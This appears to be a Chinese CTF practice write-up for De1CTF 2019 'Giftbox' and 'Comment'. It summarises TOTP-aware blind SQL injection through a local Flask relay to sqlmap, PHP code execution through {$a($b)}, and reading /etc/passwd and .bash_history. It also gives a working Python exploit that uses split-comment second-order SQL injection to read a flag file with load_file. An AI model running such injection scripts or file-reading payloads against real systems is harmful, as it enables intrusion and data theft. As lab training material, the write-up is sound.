刷题记录:[De1CTF 2019]Giftbox && Comment
刷题记录:[De1CTF 2019]Giftbox && Comment
题目复现链接:https://buuoj.cn/challenges
参考链接:De1CTF Web WriteUp
BUUCTF平台 web writeup 第三弹
一、知识点
1、sql注入 && totp
totp
TOTP算法(Time-based One-time Password algorithm)是一种从共享密钥和当前时间计算一次性密码的算法。 它已被采纳为Internet工程任务组标准RFC 6238,是Initiative for Open Authentication(OATH)的基石,并被用于许多双因素身份验证系统。
TOTP是基于散列的消息认证码(HMAC)的示例。 它使用加密哈希函数将密钥与当前时间戳组合在一起以生成一次性密码。 由于网络延迟和不同步时钟可能导致密码接收者必须尝试一系列可能的时间来进行身份验证,因此时间戳通常以30秒的间隔增加,从而减少了潜在的搜索空间。
盲注时需要附上totp的值。这里学到另一个操作:在本地开个flask,负责转发消息到靶机,然后对本地服务跑sqlmap
2、RCE
{$a($b)}可以执行命令,a为函数名,b为参数。
有个地方要注意的是/不能直接传入,要用chr()转。
3、源码泄露
“据我长期观察,50%的CTF题目打开都是一个登陆页面,而其中又有60%的可以用各种方式拿到源码” ——P神
4、敏感文件读取
- /etc/passwd 可以查看有没有什么多出来的用户或者别的提示
- .bash_history 查看命令行历史操作
附上comment的exp,正则学的太烂了
import requests
import random
import re
url = "http://3f0bfbea-efd6-4ea2-a298-7e51a05de258.node3.buuoj.cn"
s = requests.session()
def ran_str():
string = ""
for i in range(6):
string += chr(random.randint(ord('A'), ord('Z')))
return string
def login():
data = {
"username": "zhangwei",
"password": "zhangwei666"
}
s.post(url + "/login.php", data=data)
def write(payload):
ran_string = ran_str()
data = {
'title': ran_string,
'category': "',content=("+payload+"),/*",
'content': '1'
}
s.post(url + "/write_do.php?do=write", data=data)
return ran_string
def comment(id):
data = {
'content': "*/#",
'bo_id': id
}
s.post(url + "/write_do.php?do=comment", data=data)
def main():
payload = "select (load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))"
login()
ran_string = write(payload)
result = re.search("<tr><td>.*</td><td class='AutoNewline'>.*</td><td class='AutoNewline'>"+ran_string+"</td>", s.get(url).text)
id = str(result.group(0).split('</td>')[0][8:])
comment(id)
result = re.split("<p>", s.get(url + "/comment.php?id=" + str(id)).text)[2]
content = result[:result.index('</p>')]
print(content)
if __name__ == '__main__':
main()
刷题记录:[De1CTF 2019]Giftbox && Comment的更多相关文章
- 刷题记录:[De1CTF 2019]SSRF Me
目录 刷题记录:[De1CTF 2019]SSRF Me 一.涉及知识点 1.MD5长度扩展攻击 2.Python 2.x - 2.7.16 urllib.fopen支持local_file导致LFI ...
- 刷题记录:[De1ctf] shell shell shell
目录 刷题记录:[De1ctf] shell shell shell 一.知识点 1.源码泄露 2.正则表达式不完善导致sql注入 3.soapclient反序列化->ssrf 4.扫描内网 5 ...
- 刷题记录:[强网杯 2019]Upload
目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...
- 刷题记录:[DDCTF 2019]homebrew event loop
目录 刷题记录:[DDCTF 2019]homebrew event loop 知识点 1.逻辑漏洞 2.flask session解密 总结 刷题记录:[DDCTF 2019]homebrew ev ...
- 刷题记录:[CISCN 2019 初赛]Love Math
目录 刷题记录:[CISCN 2019 初赛]Love Math 思路一 思路二 总结 刷题记录:[CISCN 2019 初赛]Love Math 题目复现链接:https://buuoj.cn/ch ...
- 刷题记录:[ByteCTF 2019]EZCMS
目录 刷题记录:[ByteCTF 2019]EZCMS 一.知识点 1.源码泄露 2.MD5长度扩展攻击 3.php://filter绕过正则实现phar反序列化 刷题记录:[ByteCTF 2019 ...
- 刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)
目录 刷题记录:[SUCTF 2019]EasyWeb(EasyPHP) 一.涉及知识点 1.无数字字母shell 2.利用.htaccess上传文件 3.绕过open_basedir/disable ...
- 刷题记录:[ASIS 2019]Unicorn shop
目录 刷题记录:[ASIS 2019]Unicorn shop 一.涉及知识点 1.Unicode安全问题 刷题记录:[ASIS 2019]Unicorn shop 题目复现链接:https://bu ...
- 刷题记录:[SUCTF 2019]Pythonginx
目录 刷题记录:[SUCTF 2019]Pythonginx 一.涉及知识点 1. CVE-2019-9636:urlsplit不处理NFKC标准化 2.Nginx重要文件位置 二.解题方法 刷题记录 ...
随机推荐
- Git submodule 子模块的管理和使用
因为代码分了两个小组管理,一部分代码使用跨平台语言实现,一部分使用原生实现. 所以使用Git submodule 来进行管理. 1,查看/更新 子模块 $ git submodule add ssh: ...
- 给任意view设置圆角outline.setRoundRect()方法实现
效果图,给banner设置圆角,1没有直接修改imageView而是使用自带方法进行设置 具体方法如下 //圆角方法 @TargetApi(Build.VERSION_CODES.LOLLIPOP) ...
- k8s的node节点无法调度的问题
1.现象,创建deployment时 2.查看污点 [fedora@k8s-cluster--ycmwlao4q5wz-master- ~]$ kubectl describe node k8s-cl ...
- 12306 抢票项目霸榜 GitHub,标星即将破万
十一将至,你买到回家的火车票了吗?如果没有,你可以试着打开 GitHub,在搜索栏键入 12306 的关键词,我相信你会发现一个新大陆.没错,这里有 1572 个抢票项目.它们大多用 Python.J ...
- 3.kettle-定时执行任务
kettle定时任务可以 用两种方法. 第一种如下,但这种缺点也很明显,就是该job窗口不能关闭.(重复时间含义问题截图来自https://www.cnblogs.com/biehongli/p/10 ...
- SQL 乐色干货笔记
因为公司基本都是用存储过程所以本来写的干货基本都是存储过程的. SELECT TOP 1 Code,Invitation,Num,Typ FROM SignLog WITH(NOLOCK) WHERE ...
- tensorflow批量读取数据
Tensorflow 数据读取有三种方式: Preloaded data: 预加载数据,在TensorFlow图中定义常量或变量来保存所有数据(仅适用于数据量比较小的情况). Feeding: Pyt ...
- MySQL 8.0 的xtrabackup备份
xtrabackup 备份语句: fname=`date +%F_%H-%M-%S` mkdir -p /mnt/dbbak/db_$fname xtrabackup --defaults-file= ...
- PAT 乙级 1003.我要通过! C++/Java
1003 我要通过! (20 分) 题目来源 “答案正确”是自动判题系统给出的最令人欢喜的回复.本题属于 PAT 的“答案正确”大派送 —— 只要读入的字符串满足下列条件,系统就输出“答案正确”,否则 ...
- Visual Studio 调试 ---- 系列文章
调试是软件开发过程中非常重要的一个部分,它具挑战性,但是也有一定的方法和技巧. Visual Studio 调试程序有助于你观察程序的运行时行为并发现问题. 该调试器可用于所有 Visual Stud ...